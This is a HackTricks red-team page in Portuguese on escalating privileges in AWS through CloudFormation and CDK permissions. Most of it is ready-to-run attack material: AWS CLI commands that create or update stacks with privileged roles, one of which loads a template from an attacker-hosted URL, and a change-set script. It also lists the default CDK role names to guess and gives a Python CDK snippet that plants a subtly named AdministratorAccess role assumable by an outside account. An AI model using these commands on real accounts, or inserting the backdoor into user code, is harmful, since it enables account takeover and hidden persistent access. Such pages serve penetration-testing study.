AWS - Cloudformation Privesc

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

cloudformation

Para mais informações sobre cloudformation, consulte:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Um atacante com essas permissões pode escalar privilégios criando uma pilha do CloudFormation com um template personalizado, hospedado em seu servidor, para executar ações sob as permissões de um papel especificado:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na página a seguir, você tem um exemplo de exploração com a permissão adicional cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto Potencial: Privesc para o papel de serviço do cloudformation especificado.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Neste caso, você pode abusar de uma pilha de cloudformation existente para atualizá-la e escalar privilégios, como no cenário anterior:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo a permissão UpdateStack sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para o papel de serviço do cloudformation especificado.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se você tiver essa permissão, mas sem iam:PassRole, ainda pode atualizar as pilhas usadas e abusar dos Papéis IAM que já estão anexados. Verifique a seção anterior para um exemplo de exploração (apenas não indique nenhum papel na atualização).

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo a permissão UpdateStack sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para o papel de serviço do cloudformation já anexado.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Um atacante com permissões para passar um papel e criar & executar um ChangeSet pode criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation assim como com o CreateStack ou UpdateStack.

A seguinte exploração é uma variação da CreateStack one usando as permissões ChangeSet para criar uma pilha.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para dar a si mesmo permissões de ChangeSet sobre uma pilha e realizar o ataque.

Impacto Potencial: Privesc para funções de serviço do cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Isso é como o método anterior sem passar funções IAM, então você pode apenas abusar das já anexadas, apenas modifique o parâmetro:

--change-set-type UPDATE

Impacto Potencial: Privesc para o papel de serviço do cloudformation já anexado.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Um atacante poderia abusar dessas permissões para criar/atualizar StackSets para abusar de papéis de cloudformation arbitrários.

Impacto Potencial: Privesc para papéis de serviço do cloudformation.

cloudformation:UpdateStackSet

Um atacante poderia abusar dessa permissão sem a permissão passRole para atualizar StackSets e abusar dos papéis de cloudformation anexados.

Impacto Potencial: Privesc para os papéis de cloudformation anexados.

AWS CDK

O AWS cdk é um kit de ferramentas que permite aos usuários definir sua infraestrutura como código em linguagens com as quais já estão familiarizados, além de reutilizar facilmente seções. O CDK então converte o código de alto nível (ou seja, python) em templates de Cloudformation (yaml ou json).

Para usar o CDK, um usuário administrativo deve primeiro inicializar a conta, o que cria vários papéis IAM, incluindo o papel exec, que tem permissões */*. Esses papéis seguem a estrutura de nomenclatura cdk-<qualifier>-<name>-<account-id>-<region>. A inicialização deve ser feita uma vez por região por conta.

Por padrão, os usuários do CDK não têm acesso para listar os papéis necessários para usar o CDK, o que significa que você precisará determiná-los manualmente. Se você comprometer a máquina de um desenvolvedor ou algum nó de CI/CD, esses papéis podem ser assumidos para conceder a si mesmo a capacidade de implantar templates CFN, usando o papel cfn-exec para permitir que o CFN implante quaisquer recursos, comprometendo totalmente a conta.

Determinando os nomes dos papéis

Se você tiver cloudformation:DescribeStacks, os papéis estão definidos em uma pilha chamada CDKToolkit, e você pode extrair os nomes de lá.

Se você estiver em uma máquina que foi usada para construir e implantar projetos CDK, pode extrair os nomes de cdk.out/manafest.json no diretório raiz dos projetos.

Você também pode fazer uma boa suposição sobre quais são. qualifier é uma string adicionada aos papéis permitindo que várias instâncias da inicialização do CDK sejam implantadas ao mesmo tempo, no entanto, o valor padrão é codificado como hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Adicionando código malicioso ao código-fonte do projeto

Se você pode escrever no código-fonte do projeto, mas não pode implantá-lo você mesmo (por exemplo, o desenvolvedor implanta o código via CI/CD, não a máquina local), você ainda pode comprometer o ambiente adicionando recursos maliciosos à pilha. O seguinte adiciona uma função IAM que pode ser assumida por uma conta de atacante a um projeto python CDK.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks